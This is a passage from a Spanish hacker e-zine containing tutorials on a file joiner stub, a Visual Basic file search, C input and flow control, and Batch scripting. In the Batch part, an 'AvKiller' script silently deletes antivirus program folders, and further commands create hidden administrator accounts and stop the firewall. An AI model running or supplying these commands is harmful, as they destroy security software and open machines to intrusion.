situarnos al final del archivo (“EOF(1)”) con eof indicamos que queremos el final del archivo, y el 1 representa al archivo… Luego usamos “Put” para poner lo que había en la variable “Todo” y por ultimo cerramos con “Close”… Así el resultado final de esto es un fichero que seria algo así: STUB |M2| NOMBRE ---> FICHERO 1 |M1| CONTENIDO --->FICHERO 1 |M2| NOMBRE --->FICHERO 2 |M1| CONTENIDO -->FICHERO 2 Luego cuando este fichero es ejecutado, lo primero que se ejecuta es el Stub, que divide el archivo en tantas partes como archivos de hallan unido: STUB

NOMBRE-->FICHERO 1 |M1| CONTENIDO-->FICHERO 1 NOMBRE -->FICHERO 2 |M1| CONTENIDO--->FICHERO 2 Después se procede a crear un archivo que corresponderá a los datos obtenidos luego de separar por la marca “|M1|” y se ejecutaran dichos archivos… Les diré algunas cosas que pueden agregarle, primero un lugar donde copiar los archivos, esto suele ponerse SIEMPRE. Le da la posibilidad al usuario de poder copiar los archivos en el directorio que el quiera. También el poder ejecutar, pero no copiar los archivos. La opción de cambiarle el icono al fichero final suele ser muy útil también. Les dejo un cordial saludo y espero que les halla gustado.

Page 28: CUH E-zine 4ª Edicion

Crear un buscador de archivos en VB CUH e-zine 4ª edicion

Este es un artículo creado exclusivamente para el CUH E-Zine y se encuentra bajo licencia Creative Commons (http://creativecommons.org/licenses/by/3.0).

En el presente artículo me dedicaré a explicarles como crear un buscador de archivos. La idea es que la aplicación busque un fichero que contenga en su nombre la cadena que el usuario este buscando. La búsqueda del fichero partirá de un directorio elegido por el usuario. El proyecto necesitara de algunos controles para que el usuario pueda interactuar con él. Por mi parte yo he agregado los siguientes controles (todos con sus nombres por defecto):

• 3 CommandButton’s • 2 TextBox’s • 2 Frame’s • 1 ListBox

La aplicación en mi caso carece de diseño, y no le aplicare ninguno, el aspecto correrá por cuenta de ustedes. En mi caso, los archivos encontrados solo se listaran en un ListBox simple. El aspecto de mi proyecto es el siguiente:

Bueno, acomoden los controles como más les guste. Por mi parte le he dado a la propiedad Enabled del botón Abrir un valor False. Y al Text2, ubicado en el frame con caption “Comenzar en:” tiene en su propiedad “Locked” el valor True.

Vamos a empezar programando desde el principio, y comenzaremos por un dialogo en el cual el usuario elegirá el directorio donde comenzar a buscar. Para ello usaremos las API’s: SHBrowseForFolder y SHGetPathFromIDList. Las declararemos en la parte superior del formulario de la siguiente manera: Private Type BrowseInfo hWndOwner As Long pidlRoot As Long sDisplayName As String sTitle As String ulFlags As Long lpfn As Long lParam As Long iImage As Long End Type Private Declare Function SHBrowseForFolder Lib "Shell32.dll" (bBrowse As BrowseInfo) As Long Private Declare Function SHGetPathFromIDList Lib "Shell32.dll" (ByVal lItem As Long, ByVal sDir As String) As Long La primer API devolverá un identificador que corresponderá al directorio que eligió el usuario, debido a que con el identificador no podríamos hacer nada, utilizamos la segunda API para obtener el directorio. Para poder hacer uso de estas API’s vamos a tener que crear una función, lo que hará esta función será devolver la ruta completa del directorio que eligió el usuario. A esta habrá que pasarle como parámetro el formulario (su nombre) para luego obtener su handle, también le debemos pasar el titulo de la ventana: Function ElegirDirectorio(FrmActivo As Form, TituloDeVentana As String) As String Dim BroInf As BrowseInfo Dim IDCarp As Long Dim Directorio As String BroInf.hWndOwner = FrmActivo.hWnd BroInf.pidlRoot = 0 BroInf.sDisplayName = Space(260) BroInf.sTitle = TituloDeVentana BroInf.ulFlags = 1 BroInf.lpfn = 0 BroInf.lParam = 0 BroInf.iImage = 0 IDCarp = SHBrowseForFolder(BroInf) If IDCarp Then Directorio = Space(300) If SHGetPathFromIDList(IDCarp, Directorio) Then Directorio = Left(Directorio, InStr(Directorio, Chr(0)) - 1) Else

Page 29: CUH E-zine 4ª Edicion

Crear un buscador de archivos en VB CUH e-zine 4ª edicion Directorio = "" End If End If ElegirDirectorio = Directorio End Function Ahora lo que haremos será almacenar el directorio en una variable global. Así que hacemos la declaración de dicha variable. Nos situamos debajo de la declaración de las API’s y escribimos esto: Dim RutaParaComenzar As String Ahora nos vamos al evento clic del botón 2, en mi caso es el de elegir directorio para comenzar a buscar: Private Sub Command2_Click() RutaParaComenzar = ElegirDirectorio(Form1, "Buscar Carpeta") Text2.Text = RutaParaComenzar End Sub Y ahí esta. Ahora podemos pasar a lo que importa, buscar el archivo. Vamos a necesitar usar el objeto FileSystemObject, para ello vamos a agregarlo en la referencia: Proyecto�Referencias…�Microsoft Scripting Runtime Para poder recorrer los directorios debemos usar una función que se llame a si misma, a esta función se le pasa como parámetro el directorio donde empezar a recorrer los subdirectorios de él mismo. Dentro de cada bucle para recorrer los subdirectorios se vuelve a llamar a la función pasándole como parámetro el subdirectorio. Seria algo así: Private Funcion Buscar(Carpeta As String) For each SubCarpetas In Carpeta Call Buscar(SubCarpeta) Next End Fucntion Esto es un ejemplo, pero no sirve, primero debemos declarar bien las variables, con su tipo correspondiente (Folder y File). Después creamos un bucle que recorra los subdirectorios de un directorio. Dentro de este bucle se utilizara otro bucle para recorrer todos los archivos dentro de este subdirectorio en el cual nos encontramos. Utilizaremos (dentro de este último bucle) una condición “If” para saber si el archivo actual corresponde o es similar al que busca el usuario. Pondré la función ya terminada, estará comentada cada línea con su respectiva explicación: Private Sub Buscar(ByVal Carpeta As String) Dim DirActual As Folder 'Declaramos como Carpeta Dim SubDir As Folder 'Declaramos como Carpeta Dim Archivo As File 'Delcaramos como Archivo Set Fso = New FileSystemObject 'Activamos el objeto FSO Set DirActual = Fso.GetFolder(Carpeta) 'Le Aplicamos un directorio 'Bucle que recorre los subDirectorios de un directorio For Each SubDir In DirActual.SubFolders 'Bucle que recorre los archivos de un directorio

For Each Archivo In SubDir.Files 'Un descanso para el sistema DoEvents 'Obtenemos el nombre del archivo NombreDelArchivo = Fso.GetFileName(Archivo) 'Si coincide con la busqueda If InStr(NombreDelArchivo, Text1.Text) <> 0 Then 'Lo agregamos a la lista List1.AddItem NombreDelArchivo ‘Habilitamos boton Abrir… Command3.Enabled = True End If 'Seguimos recorriendo archivos Next 'Nos volvemos a llamar para seguir listando 'los subdirectorios Call Buscar(SubDir) Next End Sub NOTA: Es importante que pongan el DoEvents, sino tildaran la aplicación, deben darle un descanso y pasarle el trabajo a Windows por cada subdirectorio que se recorra, así funcionara perfecto. Ahora vamos a programar el botón “Buscar”, en mi caso es el Commnad1… Lo único que haremos aquí será verificar que halla algo que buscar (que el Text1 no este vacío). Luego limpiamos la Lista, y por ultimo llamamos a la función “Buscar” pasándole como parámetro la variable “RutaParaComenzar”: Private Sub Command1_Click() ‘si el text1 esta vacio If Text1.Text = "" Then ‘Mostramos un mensaje MsgBox "Indique algo que buscar" Exit Sub End If ‘Limpiamos la lista List1.Clear ‘Llamamos a funcion que busca Call Buscar(RutaParaComenzar) End Sub Con esto ya habremos terminado, les recomiendo que no se queden con esta interface, utilicen un ListVew en vez de un ListBox, es mas “lindo” de usar, y podemos ordenar mejor los archivos encontrados, mostrando tanto el nombre del fichero como su directorio. Inclusive le podemos aplicar un icono ;-) Les dejo un cordial saludo a todos los lectores de la CUH E-Zine y espero hayan disfrutado de este articulo.

Page 30: CUH E-zine 4ª Edicion

Introduccion a C 3ªParte CUH e-zine 4ª edición

Hola de nuevo, esta es la tercera parte del tutorial de C de Ni0, como pueden ver con lo que sabemos hasta ahora mucho no podemos hacer, simplemente cuentas matemáticas y mostrarlas en pantalla, así que ahora vamos a aprender como obtener un valor del teclado y como funcionan los controladores de flujo. Antes que nada quería aclarar algo con respecto a las variables..., cual es la diferencia entre el tipo char y el tipo long? o cual es la diferencia entre el tipo short y el char? o el long y el int?? la única diferencia es el espacio reservado a dicha variable. En el articulo anterior escribí una tabla con los tipo de variables y cuantos bytes son reservados para esa variable, esa cantidad le da un rango posible, por ejemplo dentro de un byte solo pueden entrar desde el numero 0 hasta el 255 (o bien de -128 a 127), esa es la única diferencia. Entonces, dentro de char puedo poner un numero en vez de un carácter?? y en un long puedo poner un carácter en vez de un numero?? SI y lo repito, SI Esto según he visto, en lenguajes mas “altos” que el C (Visual Basic, pascal, etc..) no es posible de manera directa, pero es posible en el lenguaje maquina, en C, y supongo que en otros lenguajes. como es posible que en una variable char (abreviatura de carácter en ingles) se pueda poner un numero?? porque a cada carácter se le asignó un numero (recuerden, la pc solo interpreta 0 y 1), y estos números van del 0 al 255 (antiguamente hasta el 127), esto esta definido en el estándar ascii. Al poner un carácter haciendo 'x', el compilador cambia ese carácter por el valor correspondiente, por lo que hacer algo como c = 'N'; es lo mismo que c = 78; . No piensen de que como es un CHAR solamente pueden ir caracteres, bah, en realidad es correcto, porque cualquier numero que pongamos entre 0 y 255 va a tener su representación como carácter, pero uno puede tranquilamente usar una variable char para trabajar números, si por ejemplo queremos almacenar la edad de una persona, con declarar un char alcanza y sobra, nadie tubo mas de 255 años xD . Y obviamente dentro de un long o un short o un int puede ir un carácter, hacen short s = 'N'; y esta permitido, pero con esto hay que tener cuidado, porque en realidad las funciones estan preparadas para leer un carácter dentro de un byte, en un short hay 2 bytes, y en uno de esos 2 bytes esta el 'N'... y obviamente se pueden sumar caracteres, char a = 'n'; char b = 'a'; a = a + b; ahora a tiene el valor 207, pero con esto cuidado, no podemos pasarnos del 255, pero bueh, con eso queda demostrado que también se puede operar con tipos char, solo que tenemos que asegurarnos de que la operación no va a dar mas de

255, porque se estaría sobre escribiendo bits de otro lugar que no le corresponde a la variable char, por ejemplo si quisiéramos poner el valor 256 dentro de un byte no podríamos, porque queda un 1 fuera de lugar (11111111 = 255, 100000000 = 256, fíjense que en el 256 estamos usando 9 bits, y no un byte, donde se pondrá ese 1?).Pero OJO, si hacen '1' + '2' no les va a dar '3'... 1 + 2 = 3 pero '1' + '2' NO es 3, porque estamos sumando el valor según el estándar ascii, si '1' es 50 (ni idea si es 50, invento, es solo un ejemplo) y '2' es 51, entonces '1' + '2' da 101, que puede ser 'f' como 'a' o 'Z' o cualquier carácter.... Todo eso se puede comprobar tranquilamente si crean un programa que trabaje con caracteres y números y variables de todo tipo y lo compilan, luego lo descompilan y ven el código en assembler, o bien usan un debugger para que sea mas facil de leer, de todas maneras va a estar en assembler. No hablé sobre los tipos float y double, no estoy seguro de su forma de trabajar, asique no los voy a meter en la explicación anterior. bueh, espero que eso haya sido claro. Avancemos un poco con el lenguaje C; para obtener un dato del teclado (por ahora del teclado, mas adelante vamos a ver archivos) existen varias funciones declaradas en stdio.h: getchar (que ya la usamos para que espere que se pulse una tecla) scanf gets (que no la vamos a ver ahora porque antes tengo que explicar otras cosas xD) explicamos cada una: int getchar(void); eso significa que no recibe ningún argumento y que retorna un int (también pueden usar char), esta función espera a que se pulse enter para retornar, o sea, cuando es llamada uno puede teclear cualquier cosa y solo va a terminar la función cuando se pulse enter ('\r', ese es el carácter correspondiente a ENTER), si se pulsaron las teclas abcd\r, va a devolver a, pero cuidado, porque las teclas siguen almacenadas, la función obtiene a, la saca de la memoria y devuelve a, la próxima ves que se llame, van a estar las teclas bcd\r, por lo que no va a esperar a que el usuario ingrese algo porque hay teclas en la memoria, no se si se entiende bien... cuando uno pulsa teclas se almacenan en un buffer, getchar va obteniendo hasta que se acabe, si simplemente ingresamos a\r obtiene a y como esta el enter vacía el buffer, pero si ponemos abc\r obtiene a, saca a del buffer pero sigue quedando bc\r, como ya esta \r en el buffer, no le pide nada al usuario, porque piensa que ya se presiono entrer, obtiene b y saca a b del buffer. Para solucionar esto, esta la función fflush que “vacia” el buffer, solo hay que indicarle que buffer vaciar, stdin (entrada) o stdout (salida), quedando asi: fflush(stdin); (vacía la entrada)

Page 31: CUH E-zine 4ª Edicion

Introduccion a C 3ªParte CUH e-zine 4ª edición int scanf (const char*, ...); esta función es especial, es como printf, puede obtener muuuuchos argumentos, y devuelve un int, que creo recordar que era la cantidad de caracteres leídos, y los argumentos son una cadena y luego argumentos “infinitos” (digo entre comillas porque la ram no se regala, igual que los permisos de escritura del s.o. xD), para usarla es fácil, usa las mimas características de printf, solo que invertido, miren: printf(“%d %f”, 39, 3.141596); obtiene una cadena (“%d %f”) y los argumentos, que luego serán impresos según los “comodines” (%d, %f, %s, %c, etc..), ahora con scanf: scanf(“%d %f”, &i, &f); lo que va a hacer es esperar a que ingresemos caracteres hasta que se pulse enter, cuando se pulsa enter va a seguir las indicaciones de la cadena “%d %f”, lo que significa que hasta el primer espacio va a obtener un numero entero, luego un flotante (o sea, un numero real) y luego nada mas, y va a poner esos valores en las variables i y en la variable f, que deben de haber sido declaradas previamente como int y como float (o double) ejemplo main(){ int i; float f; scanf(“%d %f”, &i, &f); } Los & no se como llamarlos, pero significan “la posición de memoria de...”, o sea, si nosotros hiciésemos: scanf(“%d %f”, i, f); al segundo y tercer argumento le estaría llegando el valor que contiene i y el valor que contiene f, pero no cual es la posición de memoria de i y de f, para que usa la posición de memoria?? para saber donde guardar lo que obtenga el teclado. cuando hacemos algo como c = getchar(); no usamos el & porque el compilador ya sabe que lo que devuelve getchar tiene que ir a parar a c, dado que antes del = tiene que ir una variable donde va a poner el valor, pero en el caso de un argumento puede o no ser el valor que contenga la variable, o bien, una posición de memoria. En lenguajes mas “altos” esto no se hace, se hacen cosas como scanf(“%d”, i); pero en el c hay que aclarar que lo que vamos a darle de argumento es el valor que contiene la variable o bien la posición de memoria asignada a la variable En el caso de %s tenemos que estudiar un poco mas, asique no lo vamos a usar por ahora... en este caso también hay que “tener cuidado” y usar a veces el fflush, porque cosas como: scanf(“%c”, &c); scanf(“%c”, &c); obtienen un carácter pero ustedes con el teclado ingresaron por ejemplo a\r (osea a y enter), pero como solo pedimos un carácter, el \r “queda colgado”, queda

en el buffer, asique con fflush(stdin); vaciamos el buffer. El gets obtiene una cadena (seria CASI igual a scanf(“%s”)), pero todavía no hable sobre las cadenas, los vectores, los arrays (como usarlos en una variable) asique no lo quiero explicar para que no haya dudas... Las cosas como “int” getchar(“void”) es la forma que se declaran las variables (mas adelante vamos a ver cono crear nuestras funciones), el primero (o sea en este caso el int) indica que tipo de dato va a retornar, lo que va entre paréntesis indica que tipo de argumentos espera, en caso de que sea void significa que no espera nada, y se separan los argumentos con comas, que seria el ejemplo de int scanf(const char*, ...), el primer argumento es un const char* (es una cadena que va a ser tomada como constante, mas adelante vemos que son las cadenas y como usarlas etc.) una coma para indicar que viene otro argumento y tres puntos, esos “...” significa que pueden ir muuuchos argumentos, hasta que la memoria se acabe o bien que se intente usar una posición de la memoria que el s.o no nos deja, porque ocurre esto?? Porque los argumentos son puestos en la memoria “uno al lado del otro” (esto se tendría que ver mas que nada en assembler...) si hay muuuchos argumentos se va a gastar mucha memoria... pero para eso se necesita MUUUUUUCHOS argumentos Muy bien, vamos a hacer algún programita, podemos hacer uno que se ingrese un valor de temperatura en Celsius o Fahrenheit y se pase a la otra medida, por ejemplo yo voy a hacer de Celsius a Fahrenheit la formula de Celsius a Fahrenheit es: F = C*(9/5)+32 Asi que vamos a programar: #include <stdio.h> main() { float c, f; printf("\tConversión Celsius a Fahrenheit\n"); printf("ingrese la temperatura en celsius: "); scanf("%f", &c);/*pone el valor que se ingreso por el teclado en c*/ f = c * (9.0 / 5.0) + 32; printf("\n%.3fºC = %.3fºF\n", c, f);/*imprime el resultado, el .3 indica que solo imprima 3 decimales*/ getchar();/*espera que se pulse enter*/ }

Page 32: CUH E-zine 4ª Edicion

Introduccion a C 3ªParte CUH e-zine 4ª edición Creo que esta sencillo el programa, aclaro algo, tengo que hacer 9.0/5.0 y NO 9/5 porque 9/5 daría 1, porque hace una división entre enteros, al ponerle .0 le indico que son números reales y quiero el resultado en real (cosas de los registros internos del cpu). Así como tenemos getchar y gets, también están las funciones putchar y puts, es lo mismo pero inverso, en puts ponemos una cadena (por ahora solo van a poder poner cadenas “de este estilo” y no almacenadas en una variable) y putchar que pone un carácter: #include <stdio.h> main() { putchar('H'); puts(“ola\n”); getchar(); } Imprime Hola en pantalla Bien, ahora vamos a hacer 2 programas, siguiendo con la conversión celsius- Fahrenheit, el primero va a preguntar si queremos hacer celsius- Fahrenheit o Fahrenheit- celsius, y el segundo nos muestra una tabla de equivalencia. Para esto necesitamos saber sobre “estructuras de flujo” (creo que se llamaban así, discúlpenme que no sepa a veces exactamente el nombre de algo del lenguaje), estas son estructuras que cambian el flujo del programa, las que vamos a ver ahora son if, if-else y while. El if se usa algo así: if(decisión){que hacemos si es verdadero}, dentro de los () podemos poner un valor solo (por ejemplo if(variable) o if(1) o if(0)) si es 1 es tomado como verdadero, y se ejecuta lo que esta entre {}, o sino podemos poner una comparación (es igual a, mayor que, menor que, etc.), estas son: == igual que (fíjense que son 2 iguales) != distinto que < menor que > mayor que <= menor o igual que >= mayor igual que Por ejemplo: if(1 != 2){} /*si 1 es distinto que 2, obviamente va a dar verdadero y se ejecuta lo que esta entre {}*/ c = 3; a = 15; if(c > a){} /*si c es mayor que a, en este caso va a dar falso y NO se ejecuta lo que esta entre {}*/ También se pueden hacer cosas como if(c * 5 < a){}/*en este caso tambien daria falso porque es igual a a*/ Dentro de los {} se escribe un código igual que si estuviese dentro de un main, pero NO se pueden declarar variables, las variables solo se declaran justo

después de main(){ o afuera de todo, esto es así en C, pero en C++ SI es posible, pero acá yo explico C xD Ejemplo: main() { int a = 10; int b = 10; if(a == b) printf(“es igual”); } cuando solamente se va a poner una instrucción (osea, un ;, ya se auna funcion o una operación matematica, no hace falta poner {} una forma “mejorada”: main() { int a = 10; int b = 10; if(a == b){ printf(“es igual”); return 0; } printf(“diferente”); } El return termina una función (no me acuerdo si ya lo explique) o sea, cuando llega al return termina la función main (o cuando creemos nuestras propias funciones la función en la que este el return) siempre main tiene que retornar un valor, por eso el 0, se puede usar return; que no retornaría ningun valor, pero main siempre devuelve algo. si no usáramos el return, veríamos algo como es igual diferente los if son de un solo ciclo, o sea, comprueba si es verdadero o falso, si es verdadero ejecuta los {} y sigue con el programa, si es falso se saltea los {} y sigue con el programa el if-else es igual que el if, se usan asi: if(a == b){ printf(“igual”); } else{ printf(“diferente”); } si el if es falso, ejecuta el else y sigue con el programa, con este caso nos ahorramos el return y si solo usamos una instrucción no hace falta los {}: if(a == b) printf(“igual”); else printf(“diferente”); y obiamente se pueden hacer ifs dentro de ifs, o sea: if(a == b){ if(a < 10) printf(“igual y menor que diez”); } else

Page 33: CUH E-zine 4ª Edicion

Introduccion a C 3ªParte CUH e-zine 4ª edición printf(“diferente”); pero, en este caso se pueden usar && o ||, estas “cosas” son traducibles a “y” o “o”, por ejemplo: if(a == b && a < 10) printf(“igual y menor que diez”); o sea, tiene que ser las 2 expresiones verdaderas, si usáramos los || (es el carácter “tubería” dos veces) con que solo una expresión sea verdadera se ejecuta los {} y a su vez tenemos los if-else if-else if(a == 10) printf(igual); else if(a < 10) printf(“menor”); else printf(“mayor”); creo que queda claro como funciona, a su vez se pueden hacer muchos else if: if(a == 10) printf(igual); else if(a < 10) printf(“menor”); else if(a > 10) printf(“mayor”); else printf(“error xD”); Y en el caso de que sean mas de una instrucción ponemos {} y listo El while es igual que el if, solo que no existen los else ni los else while, y que si es verdadero, ejecuta lo de los corchetes y vuelve a hacer la comprobación, asi hasta que la comprobación sea falsa int c = 10; while(c > 0){ printf(“%d\n”, c); c -= 5;; } Imprime: 10 5 Así que vamos con los programas que dije que íbamos a hacer: #include <stdio.h> main() { char opcion; float f, c;

printf("\tConversion Celsius a Fahrenheit - Fahrenheit a Celsius\n"); printf("Ingrese el valor a convertir: "); scanf("%f", &c);/*para no usar 2 veces el scanf, si lo pongo dentro del if y del else if gastaría mas lineas y mas código binario que si lo uso solo una vez :P*/ printf("ingrese c para Celsius a Fahrenheit o f para Fahrenheit a Celsius (c/f):"); fflush(stdin);/*vaciamos el buffer*/ opcion = getchar(); if(opcion == 'c'){ f = c * (9.0 / 5.0) + 32; printf("\n%.3fºC = %.3fºF\n", c, f); } else if(opcion == 'f'){ f = (c - 32) / (9.0 / 5.0); printf("\n%.3fºF = %.3fºC\n", c, f); } else printf("ERROR"); fflush(stdin);/*vaciamos el buffer, porque nosotros ingresamos c\r o f\r por lo que quedaría el \r en el buffer*/ getchar(); } Este código se puede mejorar haciéndolo: #include <stdio.h> main() { char opcion = 0; float f, c; printf("\tConversion Celsius a Fahrenheit - Fahrenheit a Celsius\n"); printf("Ingrese el valor a convertir: "); scanf("%f", &c);/*para no usar 2 veces el scanf, si lo pongo dentro del if y del else if gastaría mas

Page 34: CUH E-zine 4ª Edicion

Introduccion a C 3ªParte CUH e-zine 4ª edición lineas y mas codigo binario que si lo uso solo una vez :P*/ printf("ingrese c para Celsius a Fahrenheit o f para Fahrenheit a Celsius (c/f):"); fflush(stdin); while(opcion != 'c' && opcion != 'f') {/*mientras que no sea ni 'c' ni 'f' va a pedir una opción (es sensible a mayúsculas y minúsculas)*/ opcion = getchar(); } if(opcion == 'c'){ f = c * (9.0 / 5.0) + 32; printf("\n%.3fºC = %.3fºF\n", c, f); } else if(opcion == 'f'){ f = (c - 32) / (9.0 / 5.0); printf("\n%.3fºF = %.3fºC\n", c, f); } /*el else no es necesario, no es obligatorio*/ fflush(stdin);/*vaciamos el buffer, porque nosotros ingresamos c\r o f\r por lo que quedaría el \r en el buffer*/ getchar(); } y ahora uno que muestra una tabla de valores en Celsius y otro en farenheit: #include <stdio.h> main() { float f, c = -50; printf("\tConversion Celsius a Fahrenheit\n"); printf("\nCelsius \tFahrenheit\n"); while(c < 151){ f = c * (9.0/5.0) + 32; printf("%3.4fºC\t%3.4fºF\n", c, f); c += 1; } getchar();

} Intenten hacer este ultimo programa pero que el usuario indique el valor mínimo, el máximo y la escala (en este caso el mínimo es -50, el máximo es 150 y la escala es 1) Simplemente declaran mas variables y con scanf le asignan a las variable los valores, y en vez de usar números en el while, usan las variables... Y ahora, vean este programa #include <stdio.h> main() { int c = 0;/*uso int porque si usara char la comparacion c != 256 estaria incorrecta, porque 256 esta fuera del byte*/ while(c != 256){ printf("%c - %d\n", c, c); c += 1; } getchar(); } Esto es para que vean los valores de cada caracter, porque dentro de un char hay un valor, que representa al caracter... si vieran el código ya compilado quizá se entendería mas Una aclaración, eh visto que el fflush(stdin); en la distribución de linux “ubuntu” no funciona, o sea, no vacía el buffer, pero en windows si... bueno, eso es todo por ahora... nos vemos en la próxima edición xD Ni0 P.D. usen Linux xD

Page 35: CUH E-zine 4ª Edicion

Introducción al Batch 3a Parte CUH e-zine 4ª edición

Viene de la 2ª Edicion AvKiller… Explicacion. cd “%programfiles%” Con la variable %programfiles% vamos a la ruta C:\Archivos de Programa o a la ruta en donde estén lo archivos de programas. cd “Grisoft” La carpeta en donde esta el AVG Free Antivirus (luego con el comando DEL borramos todo). del /Q /F /S *.*>nul Para borrar todos los archivos sin pedir confirmación, ni Mostar los archivos que se han borrado. cd .. Para subir de directorio (ir a la carpeta Archivos de Programa). cd “Norton Antivirus” La carpeta en donde esta el Norton Antivirus (luego con el comando DEL borramos todo). cd “Kapersky Lab” La carpeta en donde esta el Kapersky Antivirus (luego con el comando DEL borramos todo). cd “McAfee.com” La carpeta en donde esta el MC Afee System Works (luego con el comando DEL borramos todo). cd “Nod32 Antivirus System” La carpeta en donde esta el NOD32 Antivirus (luego con el comando DEL borramos todo). Programando utilidades Aquí aprenderemos a crear calculadoras, organizadores y el uso de los comandos. Una Calculadora en Batch Ahora crearemos una calculadora en Batch (con menú) básicamente usando como principal comando el SET. Solo tendrá las opciones de sumar, restar, multiplicar y dividir. Codigo: @echo off title= Calculadora Batch color 0a :menu cls echo CALCULADORA echo (1) SUMA echo (2) RESTA echo (3) MULTIPLICACION echo (4) DIVISION echo.

echo (0) SALIR echo. set/p opc= if %opc%==1 goto suma if %opc%==2 goto resta if %opc%==3 goto multi if %opc%==4 goto divi if %opc%==0 goto exit else (goto menu) :suma cls echo. echo Ingrese el primer numero. set/p suma1= Numero: cls echo. echo Ingrese el segundo numero. set/p suma2= Numero: cls set/a suma=%suma1%+%suma2% echo. echo. echo %suma1%+%suma2%=%suma% pause>nul goto menu :resta cls echo. echo Ingrese el primer numero. set/p resta1= Numero: cls echo. echo Ingrese el segundo numero. set/p resta2= Numero: cls set/a resta=%resta1%-%resta2% echo. echo. echo %resta1%-%resta2%=%resta% pause>nul goto menu :multi cls echo. echo Ingrese el primer numero. set/p multi1= Numero: cls echo. echo Ingrese el segundo numero. set/p multi2= Numero: cls set/a multi=%multi1%*%multi2% echo. echo. echo %multi1%x%multi2%=%multi% pause>nul

Page 36: CUH E-zine 4ª Edicion

Introducción al Batch 3a Parte CUH e-zine 4ª edición goto menu :divi cls echo. echo Ingrese el primer numero. set/p divi1= Numero: cls echo. echo Ingrese el segundo numero. set/p divi2= Numero: cls set/a divi=%divi1%/%divi2% echo. echo. echo %divi1%/%divi2%=%divi% pause>nul goto menu :exit exit Explicación: title= Calculadora Batch * Esto sirve para cambiar el titulo de la ventana, luego del signo “=” podemos ponerle el nombre que queramos, si no utilizaremos el comando title aparecería como titulo la ruta en la que esta guardada el Batch. *NOTA: El comando Title puede ser usado de las

siguientes maneras: Title= Ejemplo Title Ejemplo Title “Ejemplo” color 0a Se usa para cambiar los colores del Batch, los predeterminados son letra blanca y fondo negro pero con este lo dejamos en letra verde y fondo negro, para ver más colores escribir en la consola: Color/? cls Con esto cada vez que vuélvalos al menú se borrara toda la pantalla y quedara solo el menú, si este comando quedarían las operaciones anteriores en pantalla. echo CALCULADORA El comando echo sin parámetros ( y con un texto) sirve para mostrar textos en la pantalla, y con esto aparecería como texto CALCULADORA y luego el resto de las opciones. set/p opc= Con esto creamos una variable de entorno que la utilizaremos para definir la opción que se a elegido, la variable en este caso se llamara opc pero podemos ponerle el nombre que queramos y cambiar también la variable definida en el comando if sino no funcionaria. if %opc%==1 goto suma if %opc%==2 goto resta Estos comandos sirven para darle las opciones al usuario por ejemplo si el usuario pone 1 y presiona enter irá al menú de la suma que esta definido con :suma. Y así con los otros también, podemos cambiar el número 1 por el 7 y así para sumar habría que presionar 7. El opc es nombre de la variable en donde se almaceno el número de la opción.

else (goto menu) Con esto le damos la orden al comando IF que si se ingresa una opción no valida vuelva al menú (el comando else tiene que ir siempre después del if). echo Ingrese el primer numero. set/p resta1= Numero: Con el comando echo aparecerá el mensaje pidiendo el numero y com el set/p crearemos la variable llamada resta1 que tendrá el numero a restar, y luego la utilizaremos colocando %resta1% para que ponga el numero que estaba en la variable. Lo mismo con la segunda parte que pedirá el segundo número a restar. cls Para que al aparecer la segunda pantalla no quede la anterior. set/a resta=%resta1%-%resta2% Set/a en este caso lo usaremos para que calcule la operación y almacene el resultado en la variable resta; %resta1% y %resta2% los pondremos para que aparezca los números que quedaron en las variables Resta1 y Resta1. Y el signo de “-” (menos) será para indicar que calcule una resta (se puede sustituir por un “+” para que sume, un “*” para que multiplique o un “/” para que divida). echo. Muestra un espacio entre las líneas. echo %resta1%-%resta2%=%resta% Aquí mostraremos la operación planteada y usaremos %resta1% para que muestre el primer número y %resta2% para que muestre el segundo, y con %resta% aparecerá el resultado que fue calculado con el comando set/a y almacenado en la variable resta. pause>nul Paramos la ejecución de los comandos hasta que se presione una tecla, sino pasaría tan rápido que no se vería el resultado. goto menu Luego de que termine el comando pause con esto volvemos al menú principal. Lo mismo que esta explicado acá se usa en los casos de suma, multiplicación y división pero siempre respetando los signos (+, -, *, /). Organizando Funciones… Vamos a crear un organizador para los accesorios de Windows, si todos no funcionan hay que tener en cuenta que puedes no tener instalados todos. Código: @echo off Title= Organizador Batch 1.0 Color F3 :menu cls echo ORGANIZADOR echo. Echo 1) Abrir bloc de Notas Echo 2) Abrir Word Pad Echo 3) Abrir Calculadora Echo 4) Abrir Libreta de Direcciones Echo. Echo 0) Salir Set/p resp= If %resp%==1 goto bloc

Page 37: CUH E-zine 4ª Edicion

Introducción al Batch 3a Parte CUH e-zine 4ª edición If %resp%==2 goto word If %resp%==3 goto calc If %resp%==4 goto dir If %resp%==0 goto exit else goto menu :bloc cls start notepad goto menu :word cls start wordpad goto menu :calc cls start calc goto menu :dir cls start wab goto menu :exit exit Explicación: Start notepad Para iniciar la aplicación del bloc de notas. Start wordpad Para iniciar la aplicación de word pad. Start calc Para iniciar la aplicación de la Calculadora de Windows. Start wab Para iniciar la aplicación de la Libreta de Direcciones de Outlook Express. El Gran y poderoso Batch

Batch Avanzado , manipulación del registro y del sistema. hora aprenderemos todo lo relacionado a añadir claves al registro desde un Batch y a utilizar el comando Net mas profundamente. Comando Net y su uso en Batch En este tema aprenderemos a trabajar con el comando NET que nos permitirá manejar usuarios, activar y desactivar opciones de seguridad entre otras muchas cosas. Añadiendo usuarios. Aquí utilizaremos el comando NET USER para añadir usuarios a nuestra PC (no será posible cambiarle o elegir la imagen). Para darle privilegios de administrador a un usuario creado hay que ver el tema “NET GROUP y grupos de usuarios”. Código: net user Usuario "batch" /add /expires:never Explicación: net user Usuario "Batch" /addEn la parte donde dice Usuario es donde se indica el nombre del usuario que vamos a crear y entre las comillas (la línea “Batch”)

indica el password del usuario, si se quiere crearlo sin contraseña no se pone nada entre las comillas; y el /add indica que es para crear ese usuario. Borrando Usuarios Aquí utilizaremos el comando NET USER para borrar usuarios que hayamos creado con el comando NET USER o con el menu de usuarios de Windows. Código: Net User Usuario /delete Explicación: Net User Usuario /delete En donde dice usuario indicamos el usuario que deseamos borrar y el parámetro /delete sirve para que borre el usuario que hemos indicado. NET GROUP y grupos de usuarios Ahora utilizaremos el comando NET GROUP para cambiar el grupo en el que se encuentra el usuario y los privilegios. Código: net localgroup "Administradores" User /add /expires:never Explicación: net localgroup "Administradores" Con esto indicamos el grupo en el que se añadirán los usuarios, para añadirlo en otro grupo hay que cambiar "Administradores" por el grupo que queramos, para ver mas grupos escribir en la consola: Net localgroup. User /add En lugar de User se pone el usuario al que queremos cambiarle los privilegios. NET STOP para parar la seguridad Con el NET STOP podemos parar el Firewall o el Centro de Seguridad de Windows, entre muchas cosas más. 